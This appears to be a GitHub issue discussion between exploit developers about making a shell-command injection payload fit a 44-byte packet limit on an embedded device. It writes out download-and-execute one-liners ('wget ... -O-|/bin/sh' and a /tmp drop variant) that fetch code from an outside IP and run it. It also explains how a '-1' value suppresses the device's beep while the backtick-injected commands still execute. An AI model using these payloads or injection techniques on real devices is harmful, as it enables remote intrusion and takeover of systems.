Open bcoles opened 6 years ago
Thanks for the info. I'll check all the payloads and see if they have the spare byte. If not, I'll see if I can find more ways to optimize space.
I took a quick look at your script.
A worst case scenario for your existing implementation is...
1`wget http://123.123.123.123:12345/ -O-|/bin/sh`
... 49 characters long. This is already too big, with a maximum packet length of 44.
You could save some bytes by dropping the URL scheme and URL path:
1`wget 123.123.123.123:12345 -O/tmp/a`
...totaling 39 characters, allowing space for the extra byte.
The obvious downside of this approach is requiring three requests - one to drop the payload file, another to execute, and a third to remove the payload file. Also, dropping the URL scheme prevents serving the payload over HTTPS, however this was a shortcoming of the existing implementation anyway.
If I recall correctly, some board types' version of wget doesn't allow dropping the http://
. Also, piping straight to /bin/sh was intentional for the exact reason you mentioned. Additionally, it means you don't need to write to disk. The original version of the script (might have been the .sh version) used the 3 request design.
I realize I never tested piping to sh without the full path. It should be in $PATH. If that works, that should be the solution. Gonna try to find time tonight or tomorrow to test.
I noticed the following on your blog:
You may be pleased to note that a value of
-1
will prevent the device from beeping. This comes at the cost of one additional byte, thus decreasing the available space for the specified shell command by one byte.A value of
1
will cause the device to beep for one second. A value of0
will cause the device to been infinitely. ASCII values such asA
will also cause the device to been infinitely. A value of-1
will cause theblink
executable to throw an error and exit, however the subsequent shell commands encompassed in backticks will still be executed by the system shell.